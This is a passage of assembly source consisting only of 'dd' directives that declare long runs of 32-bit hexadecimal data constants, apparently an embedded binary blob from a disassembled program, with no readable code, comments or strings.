		dd 0C83DE5Ch, 35019C8Dh, 4D1E9266h, 6091160Dh, 34CF0022h
		dd 94840ED6h, 6D400764h, 20FECDD3h, 21BD25E7h, 0A1C529C0h
		dd 0F60BED43h, 0C6C9141Ah, 220308D9h, 9EF07FC2h, 753C9113h
		dd 7B9BF300h, 0F6835766h, 702E0127h, 9C76C1A4h,	1460E4FEh
		dd 2C9331C1h, 0CEE54096h, 98773840h, 76EF003Fh,	88C452F9h
		dd 9004755h, 0ED2AFB4Ch, 28CBDEh, 49925BB3h, 0FAD698BFh
		dd 848A7700h, 0E93BC63Ah, 0D8C70694h, 593C96EEh, 985B9F00h
		dd 0E94065AAh, 33FF00FAh, 1220AEF6h, 51E196EFh,	8010988Ch
		dd 0CE788989h, 39D28B40h, 1E008375h, 72476DFBh,	0C67FAE34h
		dd 0A700FD77h, 105F5A03h, 1C7B5060h, 13D6A44h, 1B49829h
		dd 0AF52D0C9h, 0BAF8C600h, 80221BF2h, 0BE4E00E8h, 852F0CAAh
		dd 30073E58h, 0A8681992h, 98D2B280h, 9FA00C8h, 0F422152Eh
		dd 0F54AC25h, 2D041A9Ch, 0BB1DA684h, 0CCA1BE43h, 0F808B80Ch
		dd 3B4299Bh, 70FEF75Dh,	2288AA4Fh, 10E08AA5h, 75C1C500h
		dd 0DEF6B782h, 59312C8h, 4231FA3h, 88091840h, 0FAEA7814h
		dd 0A694E01Dh, 0EAB9890Fh
		dd 0F20CB49Fh, 0EE6917h, 0D4C1C952h, 3886BD61h,	0ACCF8001h
		dd 0F2B6C094h, 0F0467080h, 0E1453F8Fh, 0C6C81300h, 0EFA1BD1Dh
		dd 0C182499h, 2D7031E9h, 0A0C98012h, 444D07DBh,	0DCC206FAh
		dd 41D426E3h, 1ECD4CA0h, 36BB2107h, 0D5855D1Ah,	0B32E0800h
		dd 3A1A7C6h, 18758120h,	39183C0Bh, 0E3617B0Fh, 9EAF00FAh
		dd 4CB56343h, 0C51D829Ah, 0CC44B0D0h, 6C878D87h, 0B1472D30h
		dd 9CFC3BC1h, 1C89662Ch, 0C111D19h, 0ED593861h,	0B4886B00h
		dd 639B1EB3h, 937000D7h, 0DDDBCC2Bh, 0AC007717h, 9A8A7A55h
		dd 67E901Bh, 2D687B37h,	530191E5h, 0EE40E6AFh, 802F3BD0h
		dd 862C75C8h, 1DDF1900h, 0C238A612h, 0C1D160EDh, 1688BEC6h
		dd 644341C0h, 0FA860F5Bh, 0ABCC3BACh, 35457807h, 0D404C960h
		dd 0C1734710h, 0BF888C30h, 64C41E16h, 402F5D9Ah, 81A2F39Dh
		dd 0DA07A132h, 72DD132Ch, 7960CEF7h, 7C31B6ABh,	0C1BB00C9h
		dd 6D37687Dh, 21B85259h, 18769038h, 609113FBh, 708B6F7Eh
		dd 336D4621h, 82918927h, 995C27C1h, 0A819D740h,	678E0726h
		dd 5262E779h, 58601B2Ch, 97190F80h, 82488CBBh, 0DF130980h
		dd 9834D333h, 7E007771h, 2859BCC5h, 0FA4FB17Ch,	0E6C7EA5h
		dd 427A70DEh, 54E99600h, 0DD39909Ah, 0EE88795h,	0D1072ECEh
		dd 5E924141h, 0F4AF4BF8h, 83C1C0F3h, 96739E40h,	8D3EFA1Eh
		dd 80A36AC0h, 20742Ch, 0E8981E7h, 0BDCDC0B3h, 34E13B24h
		dd 0DF9308h, 4EE94CE4h,	1103CC06h, 7B0E979Fh, 0E6F900F0h
		dd 2D1D0FCBh, 30753B8Ch, 7EB9F41Ch, 544C757Eh, 89A6300Ch
		dd 16028Eh, 435A28B1h, 99C14DD3h, 2C71CC00h, 0C6B2D8A0h
		dd 0F92E349Fh, 0AAE48031h, 44052BA3h, 65F07C0Ch, 0EF96FC40h
		dd 0ADEA70h, 4F367292h,	0E0D7CBFFh, 0BC438400h,	5F664AFAh
		dd 8461D88h, 38935897h,	2804FFF3h, 53D92BF1h, 0F2E2FC8Ch
		dd 6CF6006Ah, 0FA1F2350h, 0EE745D51h, 87785B0Dh, 5602916h
		dd 2F133895h, 0A9176075h, 1CCDF143h, 0FF006874h, 0ACB2B6C8h
		dd 9A150F2Eh, 1B9F4464h, 0E8EA3F00h, 0CAA2DC29h, 82BC0ED6h
		dd 58600C65h, 2A5F676Fh, 4FC0B4Ch, 5295A691h, 0E9EEDE21h
		dd 0E51C2498h, 38C5C600h, 94A66706h, 9829C4EAh,	0C2E49036h
		dd 3B30FE97h, 54F6E06Bh, 780E00EFh, 0E107389Fh,	2A011EC2h
		dd 0CA5F64D0h, 34D8885Bh, 967D85h, 0D9A1F981h, 49F6F794h
		dd 0CF5C9300h, 6FFB2C5h, 381B01E5h, 94BDC07Eh, 7A88408Bh
		dd 0B090C28Dh, 0E3006C91h, 3D460FA2h, 0B3270035h, 0CCC0EEDDh
		dd 0F30C9966h, 58D294B2h, 7B7518B0h, 0B47C1C2h,	25CD1400h
		dd 0BA186653h, 5FD0197h, 82787D7Ch, 0BE2985FEh,	0C040E0A3h
		dd 251BC8EBh, 0CB9A1349h, 0A1903245h, 58888224h, 0DD8700CFh
		dd 0AB8D337Eh, 4B1D99ECh, 6880AECEh, 85256A3h, 396C6271h
		dd 2F97F3h, 0EB17E114h,	2DCE00A5h, 0D248A11Fh, 0CB58AF6Fh
		dd 0A0CC4485h, 0F33FEF01h, 18F08382h, 5B2E4982h, 39E0D93Bh
		dd 571F7B1Bh, 0DB8552CBh, 5482F012h, 21EC660Ah,	0B7281A6Eh
		dd 0C0FD81C0h, 3E3372CBh, 1D0167CCh, 0D8E293ABh, 883C60F8h
		dd 600F88A8h, 0B5220A0h, 9048EC91h, 1EC4C940h, 9F7E075Dh
		dd 8BD9C59Eh, 0FB2ED502h, 567BACA0h, 240045B6h,	0E95773AFh
		dd 60DC0B27h, 0E38D2021h, 28A3BD2Fh, 8A1BEBA0h,	9CFB7E02h
		dd 0C0CB8318h, 0C0F42E98h, 851CDB51h, 0BC0724C0h, 1F6F9942h
		dd 0F52184A0h, 0BA131CD0h, 9D6B40B5h, 18A11AB3h, 62D8001h
		dd 0C57D15D1h, 2B5D2C4h, 959A05FEh, 0E140A188h,	2900D147h
		dd 79ECD958h, 2A42F8A9h, 0BDCBA82h, 31768DCCh, 30B11D00h
		dd 260072D6h, 0A7DCBF4Ah, 4CFAFFA3h, 0D41C0CFDh, 2486816Dh
		dd 73C61DEEh, 39DF2248h, 46B22A40h, 79E039F1h, 38001083h
		dd 116350DBh, 2A7EEB5Eh, 3FC06AF0h, 0F808164h, 73BED48Bh
		dd 9A2C293Ch, 1398EEFh,	8A283B2h, 31976D6Fh, 0B3842082h
		dd 6E004525h, 0B8C22F68h, 0DAFFFh, 60493028h, 1E59CD56h
		dd 0CAA43C00h, 80DE8E24h, 10D159D5h, 0C6340076h, 399279D4h
		dd 43E05EFDh, 3014179h,	96F99068h, 4C32F091h, 0B3692C00h
		dd 8AA80D86h, 1537A61Ch, 0F610BCC0h, 2E24BB9h, 826E2B60h
		dd 0B4E2DFA3h, 1017D861h, 928996EEh, 669F0B80h,	84020690h
		dd 0D4431118h, 10F849E4h, 0A16A88h, 2BE76D79h, 0D2F0E5C8h
		dd 4BC71202h, 4277FABBh, 2284003Dh, 14DD25BCh, 0C48892FBh
		dd 0CBBBBE0Ah, 0C5910A3Ch, 238844D4h, 0A893C05Dh, 0E5760084h
		dd 8DFABD94h, 335CB489h, 95F00AF8h, 8F081CC8h, 9DF88CEEh
		dd 650070A1h, 1C2D35F2h, 0ED12659h, 9664D8B0h, 811740C4h
		dd 5E13FB8h, 0FC077C8Ch, 19C9003Ah, 97D4DF3Dh, 1C008B4Ch
		dd 0FC1AE5FAh, 7A1B5Bh,	0EF3FE03Bh, 8C4F5A7Fh, 822FA80Ch
		dd 776391BEh, 0E4701CDh, 2ABCAD04h, 0A5F6D0F7h,	2C395619h
		dd 791014B0h, 0BB26F99Ah, 0D1114B8h, 0D9B25100h, 92DC7D8Ah
		dd 7A3B837Fh, 8408A51Eh, 7141219Ch, 0D4A67B79h,	1B1F50FBh
		dd 0F50023CBh, 598B2FA7h, 40780069h, 0CE3B22ABh, 0A00315BEh
		dd 0FA82C573h, 0D702A001h, 421B01Ah, 458CAA11h,	56BC8C49h
		dd 4120F200h, 0CB5227A7h, 0F696001Ah, 6B6E17F5h, 4D130E63h
		dd 20302589h, 138F8C5h,	1A0B2CB4h, 42A0C630h, 5CA02D08h
		dd 43D3CC3h, 42D26D00h,	8C767D0Ah, 9059309Eh, 9A15C7E8h
		dd 1001AAF4h, 0E6BB4794h, 0EBC453C1h, 855E00F8h, 8E796BD2h
		dd 0A300BAD1h, 73435F1Ch, 3DD342h, 0E590BF45h, 2710C047h
		dd 94084E67h, 0C515ADD0h, 773B1DE3h, 1CB2C7F5h,	0B80DB035h
		dd 0E10C5D7Ch, 30340FF7h, 0B9BC308Dh, 0B470D481h, 11BE7630h
		dd 0C8D61Eh, 3D650B79h,	188C5F07h, 0CB2CA803h, 3C5BE8Dh
		dd 0D78A6629h, 98A6A11h, 95E086E3h, 0D00C851h, 349CBAFFh
		dd 6C26D5h, 24095713h, 99C44FB1h, 20D18F01h, 2B36F601h
		dd 64274AD0h, 8077C94Bh, 2AAB66A7h, 1B0E9FEAh, 0E126C737h
		dd 0D4E24872h, 155B7D70h, 1C16BEC6h, 218D5C00h,	9A97622Ch
		dd 1FF0BF00h, 0C714154Eh, 377E66Ch, 0C520239h, 0D2913C8Dh
		dd 0F1C98C20h, 0EC008FAh, 0C187F238h, 7BAF2B80h, 39FEB578h
		dd 1D984226h, 0BBD8DD1Ch, 624C5871h, 8EF739DFh,	0E6E1C8A0h
		dd 0A77457B5h, 0CF566B00h, 868A6101h, 0E3180672h, 79D376E1h
		dd 831D7B00h, 679D5EF2h, 4B22004Fh, 8A70E712h, 73001BF0h
		dd 533EB53Fh, 30BAF8FEh, 8F71140Ch, 503AF5DAh, 0BFE78678h
		dd 37819A92h, 80A1BD8Dh, 11327759h, 70AC17Ch, 1488AC3Ch
		dd 6F918F00h, 1ADB4EBh,	5F0F757Eh, 2CAFEF23h, 409603FCh
		dd 310DDC6h, 0F1439431h, 107C98F8h, 700C0754h, 717E2100h
		dd 2EBF8B8Ah, 98330F7Ch, 913E6EE5h, 7AA86260h, 0F0092796h
		dd 619DAC66h, 99776010h, 9760248Fh, 4A02BFD1h, 4CD58D24h
		dd 0A017F142h, 0A2D03B80h, 3C2800ECh, 0FF16C5D6h, 9C48CB92h
		dd 20996EE6h, 3E142F6h,	0D82B545Dh, 708F4069h, 0A28E140Eh
		dd 0BF37076Fh, 0CF455DF0h, 5FB41A0Dh, 8B0071C4h, 6906194Fh
		dd 3C7EA200h, 404B7A25h, 0E3520CA7h, 829115F1h,	3943B53Fh
		dd 59077476h, 4C54F22Bh, 31DD213Ch, 7699501Ah, 536180ABh
		dd 0D3BD6F5Dh, 4A8800A1h, 13D27A0Bh, 0AC1C50BFh, 8D0099F5h
		dd 16DD9103h, 38CC67AEh, 0C1072746h, 300F45D1h,	0DF60F108h
		dd 87200E69h, 0C58C007Eh, 0DC64AD57h, 5A148B45h, 70995EDEh
		dd 1018FB48h, 40013C09h
		dd 1AE08304h, 3D8040DAh, 6D04946Fh, 1075BB8Dh, 137A38D2h
		dd 0C8A97829h, 8E00FC11h, 27B6C2E5h, 500A206h, 0AEFDCAA3h
		dd 2458AF2Ch, 881C1E3Ah, 0F1808BF7h, 713C54C4h,	6D011F52h
		dd 324D401Bh, 2D3D589Ch, 187059C9h, 0FD98F0h, 0ECA93508h
		dd 0B5401275h, 0B7F48201h, 29A20C26h, 28D54830h, 4ECC1E8h
		dd 4196BFC6h, 0C78D023Ah, 846021C3h, 6480CE66h,	0DFDCD14Bh
		dd 0C7584200h, 0EA835F6Bh, 247369h, 70920E2Ah, 11C976AFh
		dd 95D530C0h, 0A2DFBB3Eh, 101C8C98h, 214C6055h,	6DF7C7C0h
		dd 252A2C90h, 0CA229C39h, 9AA881C4h, 14E9BC08h,	3979F9C1h
		dd 403BC452h, 300E4080h, 37691123h, 0C814E65Fh,	116C15F7h
		dd 0BF0CC7D4h, 3C598F95h, 48445528h, 3B4CEC58h,	215AECBEh
		dd 5B1512D7h, 70F40790h, 17D9F0BAh, 6A3EDE0Ah, 0AB1B2C7Ch
		dd 0D8E79803h, 0B5490E13h, 5220C446h, 0E06F4F83h, 0C1210934h
		dd 9668CCh, 0A7FA92F0h,	5DB99EF8h, 0B9B0A04h, 4E8172AFh
		dd 86DAD0A5h, 430349Fh,	0E4F8DE51h, 0E724C060h,	460CD705h
		dd 79F9D8E1h, 7A23090Ch, 28039CBh, 0B6BDC6C5h, 21C1DDECh
		dd 0B389493Ch, 0F21BCCh, 9ABBFB86h, 60BDA421h, 846A8100h
		dd 0B7E6940h, 0CFFD00C8h, 0CBD55F64h, 7017F42h,	5C79AF7h
		dd 81F0F4DEh, 2C65001Bh, 0EB72BE6Fh, 0F4CDDCDh,	0E0E89E78h
		dd 0B0B49544h, 0CABB1310h, 0CF75017Eh, 0EC2DA514h, 227BE132h
		dd 4AE908A8h, 0F8E04329h, 0F8FCB100h, 1834C4D0h, 19E37C0Fh
		dd 2D018FC8h, 57A590AFh, 4880FF33h, 0DB51A2B2h,	0F41D39FDh
		dd 72403DD8h, 5316760Fh, 0C27CE4h, 0E6F535D4h, 81908F5Eh
		dd 3B0FE01Ah, 0CDC04071h, 89DB063Ch, 839FFC5h, 2C693702h
		dd 822712DFh, 0A0E4F114h, 8F7BFEACh, 0BF582608h, 0FDBE0079h
		dd 8197536Fh, 75013C7Fh, 0E108EACCh, 41944816h,	3551B4DEh
		dd 7F0F5C4Ch, 4AB20F3Eh, 65407057h, 16C753A7h, 0DA84B401h
		dd 59E67BE3h, 2E56B091h, 604F3476h, 111C5D68h, 0EF13177Ah
		dd 46A002B2h, 0E4C0CA45h, 0E1800F77h, 3B131BD6h, 0C08120A4h
		dd 882298h, 0B5EAE040h,	0A0D88C9Eh, 59C870h, 6C7F7B0Bh
		dd 538FDBCBh, 42220900h, 556D2803h, 0F3EB038Eh,	89B3830Dh
		dd 885856h, 0B72E7CAFh,	767B790Bh, 0E6230B7Ah, 74105EBFh
		dd 5977DEB4h, 63191300h, 0CF429AF9h, 0D3C17A0h,	91C80A52h
		dd 0BF3B40FCh, 34ECC098h, 0BCD6E01Dh, 8849270Ah, 8B332E80h
		dd 0A06B1h, 88395D5Fh, 6E301DD2h, 6A835505h, 0E4D88A29h
		dd 0BBEC035Ah, 8D154934h, 0C0FCB588h, 0E60B0A98h, 32F048AFh
		dd 0D5A819E4h, 83604180h, 0CD2A88DDh, 5A017101h, 0B077137Ch
		dd 0C7226028h, 980F9DECh, 0EEF5BE35h, 13DE02BBh, 0C6E491EDh
		dd 20A64011h, 0C75CACBBh, 21EE003Ch, 6A6F8009h,	0C5BB00DAh
		dd 8451951Ch, 860CE0h, 6620F258h, 5215DDE8h, 0F53E788h
		dd 5A0FA6EBh, 92D015h, 0B759F6EDh, 0D414BA19h, 47002h
		dd 69AFBB0Bh, 1B60518Eh, 513E0EE0h, 78226FABh, 705F5053h
		dd 0D3F50521h, 0F7C4519h, 6482599Eh, 0B0644055h, 5CACC809h
		dd 0DC440849h, 85403F44h, 0E2609F51h, 640DE101h, 2CA853E8h
		dd 0B29A3440h, 3BB3001Bh, 3BEA9B8h, 0E302A43Ah,	0E205D8D4h
		dd 0B1CC91DEh, 906CC214h, 0D32220C4h, 0A43CA3C6h, 22A62745h
		dd 0C02FBDC0h, 0C42BCA19h, 6EA0EB3h, 8A56550h, 96AECF2h
		dd 0A09ADD61h, 820E4114h, 0A0AA906Ah, 0C43CD18Ch, 0A4F3BE51h
		dd 20009544h, 9892741Ch, 9393BF1Bh, 333B09B8h, 0F8FEF0A0h
		dd 7C0166E7h, 6122E2C9h, 0D77056C5h, 3D4302AFh,	0D2CEF895h
		dd 50460861h, 0D0D36FB0h, 42ACF8C8h, 0B4208E5Dh, 56F8BEh
		dd 6F4B1A95h, 30F1DEAFh, 226C99D4h, 39E70040h, 7EECD1A0h
		dd 4601AF5Ch, 23F84E51h, 318F18F1h, 9F4750A1h, 75D8D0C2h
		dd 7975376Ah, 2821E060h, 0D302D67h, 4897A2CEh, 23ADCD4h
		dd 0DD9DE90Bh, 0BDC40470h, 13112C54h, 1C104C48h, 59C5A3D9h
		dd 0B4300B7Ch, 58F2A966h, 7037C7Bh, 98D4405Eh, 37ECE148h
		dd 19B51CCh, 0E51E390h,	654554D0h, 0C8F799FBh, 7F037A24h
		dd 0E8847C3Ch, 0C498A269h, 3EC0A6E0h, 28811D8Ch, 86DF5046h
		dd 0B9198193h, 0BF85A6CFh, 91BA0840h, 22820F3Dh, 986C4543h
		dd 58C08F71h, 0DF5D1A61h, 70DE4B53h, 69C32E4Ch,	43B3F00Fh
		dd 429508BFh, 0C820B9C7h, 4C13A397h, 505324BCh,	323A3B7Ch
		dd 0C007EB1Eh, 0B8AF16DDh, 25154278h, 0A8707Bh,	0F079D83Eh
		dd 0A4CE391Bh, 45370098h, 2C0FFB50h, 29F62DACh,	0E87C8214h
		dd 0CABE8584h, 0B4C20C05h, 0C98AC000h, 975597Dh, 3427670Fh
		dd 65512400h, 83974BCBh, 0E0CCD173h, 24E7D6A5h,	6484D58Fh
		dd 5083707h, 14D88DC7h,	805F874h, 6279AC1Bh, 8220A9C8h
		dd 7221D4h, 0D708C26Ah,	8DB16D6Fh, 8CFCB900h, 0EDD8B0Ch
		dd 5871C74Dh, 0F78C8845h, 302F98Ch, 0EE18BDA9h,	0AA98A275h
		dd 0E8008D79h, 0C0B20F08h, 5F836E2h, 5C500213h,	0DB58C727h
		dd 53F24B80h, 9898AFA2h, 0E8591A1Ch, 4006A9Eh, 3D239D46h
		dd 15C2A0C6h, 4280C0C1h, 394B93A3h, 0BC8D8CA0h,	18C98E6Bh
		dd 6FE018h, 0F1C24A0h, 35D3A3F0h, 0A1B88200h, 67EEB006h
		dd 0C3CD0191h, 4658B46Fh, 8739800Ah, 5444590Ch,	887D58AFh
		dd 0F9552718h, 0C300A27Fh, 0F27CBEE7h, 68A3B4Ch, 8F3A1F56h
		dd 660FC058h, 0F20B1882h, 0EBBCC8D0h, 3AA8071Ch, 0D9592B12h
		dd 31E31C90h, 0F039A700h, 75499621h, 0F8E4A0E1h, 0D081021Dh
		dd 34B470E4h, 0F02B2449h, 8A746AFDh, 8F521B01h,	1CE9FF02h
		dd 0C2044F1h, 798401E1h, 891E0F0Ah, 833BF04Ch, 6027C73Bh
		dd 76AA6AC1h, 481A008Bh, 3E31AEB8h, 0B600A189h,	6717262Ah
		dd 2BC20Fh, 9834A37Dh, 0AEC4554Ah, 336CBE1Eh, 5EB59E00h
		dd 3E0EE1B9h, 72122313h, 0B82C04FAh, 88B4C56Eh,	0E495394h
		dd 93F7C6C8h, 0C3C600F9h, 0D3A0DAB4h, 5250E63Dh, 9260F7F0h
		dd 315D4221h, 33FE005Ah, 7D9BE077h, 0E09D48Bh, 1EFCF1Fh
		dd 9CA9081Ch, 2C96830h,	6F609209h, 408FCA8Dh, 0F0811F0Bh
		dd 32771A59h, 0F9BE0080h, 6E0BE66Dh, 0BB3F140Ah, 791F08F1h
		dd 2CC84A8Fh, 424C0BF8h, 0C72027h, 0DA94BF60h, 0D5B4A1C0h
		dd 3BBA25E2h, 571FE885h, 8DDDC3DBh, 810C19BBh, 31E690BFh
		dd 81576127h, 0F491D387h, 0E703A204h, 0A3557AEEh, 0BB8BE126h
		dd 129A4088h, 9016F10Eh, 0B7831900h, 308AEC9h, 18DDF404h
		dd 0A4A4BAC6h, 5ACA490h, 7B41B17Eh, 2290069Ah, 79222081h
		dd 5274A190h, 82097608h, 27011EAh, 84A3535Ch, 3940C6A0h
		dd 0EA01ECA4h, 7CAF1709h, 424C8067h, 0B12C5631h, 63530068h
		dd 0B535E3CAh, 7328CC0Ch, 0D441D2h, 90B9D588h, 0AC75528Bh
		dd 8CDD272Ch, 0AA00E011h, 193609B1h, 0C2001333h, 0DD54F50Ah
		dd 1AE5C852h, 0B977212Dh, 7AC9B440h, 0C4D49700h, 0E37C1134h
		dd 0EBA01C7h, 70F4C016h, 3490E966h, 3D8496C4h, 0DCD8E3C8h
		dd 508B5227h, 0C31580Bh, 8029F2AEh, 97CAD220h, 0F1E63C61h
		dd 8033A965h, 0ACBA6B91h, 8079723Ah, 0F7D6FA80h, 91E4BE8Eh
		dd 0A971370h, 46DC22F0h, 0E105480Fh, 7078ACC7h,	0D405C8D5h
		dd 6C033E7Ch, 0F29C11D0h, 607AF2h, 64DBD3AFh, 0F392329Fh
		dd 2C6A65Ch, 7E0970E3h,	1C3CD2D8h, 0C01CB352h, 0A7840AF0h
		dd 7624AF8Eh, 934240DAh, 278028E5h, 0CC2E9414h,	0AC00D8F2h
		dd 178D632Ch, 27700129h
		dd 533E0A0Fh, 58E027E6h, 0C5D6112Ch, 0D3862102h, 0C4174A6h
		dd 0AF61C488h, 0E9E3BC12h, 0ACEA641Fh, 84F26024h, 4EC0D947h
		dd 0A06B3Eh, 175C0DB8h,	7A5BFA59h, 0C0D07304h, 0B4E4F154h
		dd 0FC4600EDh, 0EDA34C6h, 430B9F42h, 64E059CFh,	76461704h
		dd 90FC137Ch, 58BF4010h, 77547350h, 155EE405h, 2CC26A4Fh
		dd 70C211C0h, 84BF3Ch, 8126919Fh, 76184349h, 0F46E7700h
		dd 70DB40FCh, 2B8F00F5h, 899C8CEDh, 390005BEh, 9254C87Fh
		dd 16B9E72Ch, 30E85CD1h, 5D46340h, 9F5AFE3Dh, 0E140EF36h
		dd 0A58F8C88h, 24B30755h, 0BE1539B5h, 0D0993B4Bh, 59C9F0D8h
		dd 3527EB02h, 613D0DCEh, 0C448E548h, 3151602Ch,	576D45CFh
		dd 1E0B53Bh, 1417B050h,	0A060E7E2h, 14817F8Dh, 7476B40Ah
		dd 0A83B6C4Ch, 55E8E400h, 2D733AFh, 58EB1D01h, 75C8FD2Eh
		dd 0CF6BC4h, 6372085Bh,	508AD7A6h, 6CF007F4h, 0A21BBA00h
		dd 0F67BA949h, 182AE870h, 20602C05h, 0B7000A63h, 451B19Dh
		dd 1D3E5B5Ch, 0DF8F5AD2h, 92DB003Bh, 0A3AD0277h, 78952C18h
		dd 0C0962A59h, 0F781FE41h, 0B000CE7Ah, 0C0DE2DD8h, 72650B09h
		dd 0C63800A1h, 7B456085h, 4606D290h, 5C980A6Bh,	0A7A30049h
		dd 0E1859B6Dh, 38980ECDh, 0C7782501h, 474EB430h, 44A3191h
		dd 8B2DAD2h, 0E2BA2C0h,	0D00C37ACh, 567B6088h, 99C7972Ah
		dd 0F9F09679h, 3E571FFh, 4D801C12h, 211F942Ah, 2C80C095h
		dd 0C9098F3Ch, 0CA18C0EDh, 5E896B98h, 41771C0h,	872382h
		dd 0D8FDF3C4h, 0D75B5709h, 6FE7E43Bh, 0AB2C019Ch, 8989358Bh
		dd 960656A3h, 6B1810A4h, 70845B4h, 3B22001Fh, 6FA3180Fh
		dd 8000DF1Ch, 602BC8B1h, 3897EB86h, 0A0CA21Eh, 88919C9Eh
		dd 0D5446B71h, 7C3E0063h, 0BDEBC3B2h, 7E057A5Fh, 79F811CEh
		dd 1C6954C6h, 98C9B412h, 0A8CC1170h, 0EA2E58h, 0DA50AD73h
		dd 7AFBC0Ch, 78E1F04Ch,	8FBB10C2h, 7501CBB4h, 0C66F6D96h
		dd 2840764Bh, 0C00E145Dh, 1BEB2DD1h, 7A1C96F2h,	7903BBC1h
		dd 0F8FB57E2h, 12B8EC1Dh, 77E349h, 1317302Ah, 5030E256h
		dd 9527410Bh, 0D0D1C74Bh, 0AC31D02Bh, 0E009C447h, 807AFA1Ch
		dd 5E87CBB2h, 8B790DD2h, 47304DC0h, 8C84FA74h, 0FB51146Eh
		dd 80CD403Ch, 0BAEC4174h, 0C5C1E24h, 625F8B7Ch,	1538AEC1h
		dd 7B2B19DFh, 0C7F88F41h, 1CC21F7Ah, 9708C0F7h,	4A58CFDAh
		dd 73873602h, 4859F61Ah, 3CF2C328h, 79805045h, 88C15C4Ah
		dd 0CF1042B6h, 43011763h, 0F737F83h, 0C39C51D3h, 8BF0601Dh
		dd 0C1717A31h, 9E0864DCh, 355C88h, 1EE43996h, 0B69BD07Fh
		dd 74768100h, 7864C3D9h, 186D0087h, 13985683h, 830E0AEh
		dd 4E104990h, 68D40576h, 2AFE6Bh, 9BF3DD70h, 91070F7Eh
		dd 704E6498h, 661CB7E0h, 173A24F2h, 13B30154h, 554F74A7h
		dd 0BA881C8h, 21AFE1F3h, 0C7D44892h, 0FEE9E700h, 85460293h
		dd 4E130403h, 8C7323BFh, 44005F34h, 2B79373Ch, 3B3AE38Ch
		dd 53923364h, 923904A4h, 5B080D7h, 8C286FCBh, 0E2753CB4h
		dd 920F1091h, 0C0A7E04Dh, 4AF7FEEh, 0D41E9D9h, 0DF488849h
		dd 9290210Ch, 3BBF2845h, 0F9E02AB6h, 0FA3F544Bh, 679AFECh
		dd 23A4A700h, 0CC905325h, 0D7A1BC0h, 0C8914974h, 0CB398095h
		dd 3C43DD2Dh, 0FA130EE2h, 0B2069382h, 6B002106h, 0B7A39F8Ch
		dd 78624188h, 0A297303Dh, 6166C911h, 0D1E36F30h, 0FED74763h
		dd 1657FC77h, 0B8B80A5Ch, 0F4800044h, 4E8CBF75h, 4C300FAh
		dd 0B2C66814h, 99C046AFh, 0CD41207Bh, 6F90522h,	0BA45CAC3h
		dd 0A9580C80h, 0A19B158Eh, 771E18B1h, 0CCAA40C7h, 0B38A5939h
		dd 72E79000h, 7EE82F6Ah, 0BD3F0087h, 0ECC2FC61h, 92C6F106h
		dd 24405BDEh, 40C8E91Ah, 0E5DBECC3h, 0CA49E307h, 0CB59F11h
		dd 8C748040h, 0F9643A5h, 125FDAF4h, 0F15A2A26h,	61110A00h
		dd 1DBDD5E1h, 2CAE004Ah, 0CBE62FBCh, 6E01A5DEh,	7C6AF094h
		dd 0B980609Ah, 1CDFD759h, 914C5472h, 8A371F00h,	0E260E826h
		dd 1FF46B80h, 4079E99Eh, 48D3DE3h, 0C4087ECDh, 89920603h
		dd 1820BE46h, 7C4FB58Eh, 5A348F50h, 4BB9807h, 65C0818Bh
		dd 7E7552F1h, 0E0EEC6Ch, 3D630551h, 0CC9948A0h,	614CF51Ah
		dd 96448050h, 0C85C2AAh, 82E142DFh, 5E01CB71h, 0E609BEA8h
		dd 0C6E0A530h, 11733F88h, 21AC5CAAh, 740A6CE0h,	7E81A419h
		dd 4C9658B6h, 2031ECh, 0EB436C06h, 113D409Eh, 0A5B4361Eh
		dd 9D1948CAh, 30DD2C00h, 24168121h, 0E5EBB9h, 497AA0B0h
		dd 0B6300D40h, 8F1116Fh, 7329CE23h, 0C92C7178h,	0BBAFE701h
		dd 2AADAC02h, 48A16CE8h, 38988445h, 0D01CD69h, 0E0BEB3AEh
		dd 11806730h, 0E30427CAh, 0DDFB0951h, 0E174209Ch, 0EB8D44h
		dd 0F2C197E4h, 68C96EF8h, 917C19C3h, 89612643h,	3600BE80h
		dd 6275C39Dh, 0D670FA21h, 38458601h, 6CD5483Fh,	78F6F1CCh
		dd 8F7B1811h, 548A416Dh, 2EB088h, 3A863EF8h, 2392FD5Fh
		dd 89F7C30h, 5C41F227h,	4A22540Ah, 1C52E44Ch, 0FC40EAC9h
		dd 9879F035h, 1259C078h, 0BA0446D1h, 0A20076E0h, 4AA33B11h
		dd 0C99BE6h, 2934F16Dh,	41B55071h, 2302E203h, 0B2330975h
		dd 0FBA86059h, 5C0C16F1h, 6F540AC3h, 1C551178h,	0BD807B59h
		dd 0FAAC299h, 6F170731h, 7A753046h, 384240D0h, 7D00BB5Ah
		dd 1D9473CDh, 0C01A6E6Fh, 0D1FF1B21h, 1500D0F5h, 0B8DF3038h
		dd 72CC3F74h, 3B13022Bh, 927C5756h, 0CBE400E4h,	2422F0B9h
		dd 838F8900h, 1012FFB3h, 5AAB03D1h, 0B498F339h,	0D9800EABh
		dd 0D0A9470h, 0E462E16Bh, 11418F42h, 53B11057h,	17060024h
		dd 2DE7294Bh, 5F02367Ch, 0DD2AAF7Eh, 1250C40Fh,	23F81ACBh
		dd 0D7C0C3A8h, 6948C2F9h, 0DA017F0h, 0EB5C3405h, 9C108825h
		dd 250A8018h, 588C9E6Fh, 2A8618B5h, 6400617Ch, 0DFCF9711h
		dd 1CAB7513h, 4B9EB403h, 2034A7F8h, 4181F141h, 0A7569B14h
		dd 0D473CCh, 0B5916601h, 79DEFDh, 57C183B6h, 0FFD2846Fh
		dd 87F9AF02h, 666BD615h, 2C3A2EF8h, 14CC2C34h, 95119CB1h
		dd 0B4110771h, 1E8B5FA0h, 3B1200B4h, 0BD7601A6h, 6F1B2F5Ah
		dd 0E4596CCEh, 28AC6880h, 9429F00Ah, 56328070h,	2BC3FEF3h
		dd 0FA416B03h, 9A5C31C6h, 0EBA49013h, 0F8438A4Dh, 5248397Ch
		dd 15C50AB2h, 5C43B474h, 32218E17h, 78B96EB4h, 620BF360h
		dd 0D0976D7Ch, 5DFE008Ah, 9D95FA2Dh, 9B00B8A2h,	9E4F56D3h
		dd 6238DD26h, 95791997h, 0D0E41C44h, 6E8D1896h,	0FE206910h
		dd 0F4743D2Bh, 0B47AFD09h, 64EAF810h, 0F5472000h, 0ACA18214h
		dd 7BF12E26h, 1AC6025Ch, 90A3E8DFh, 59025F2Ah, 345901CAh
		dd 1AC07DDAh, 8A012D51h, 0D1DFB11Fh, 0A48AAFEBh, 409073C3h
		dd 0F1FC44D2h, 235A1E00h, 0A99BA63Ch, 1A7431h, 99DCEF1Ch
		dd 1201A43Fh, 0C4BE300h, 4CF8B707h, 0C64F0E7Dh,	7F60D5ACh
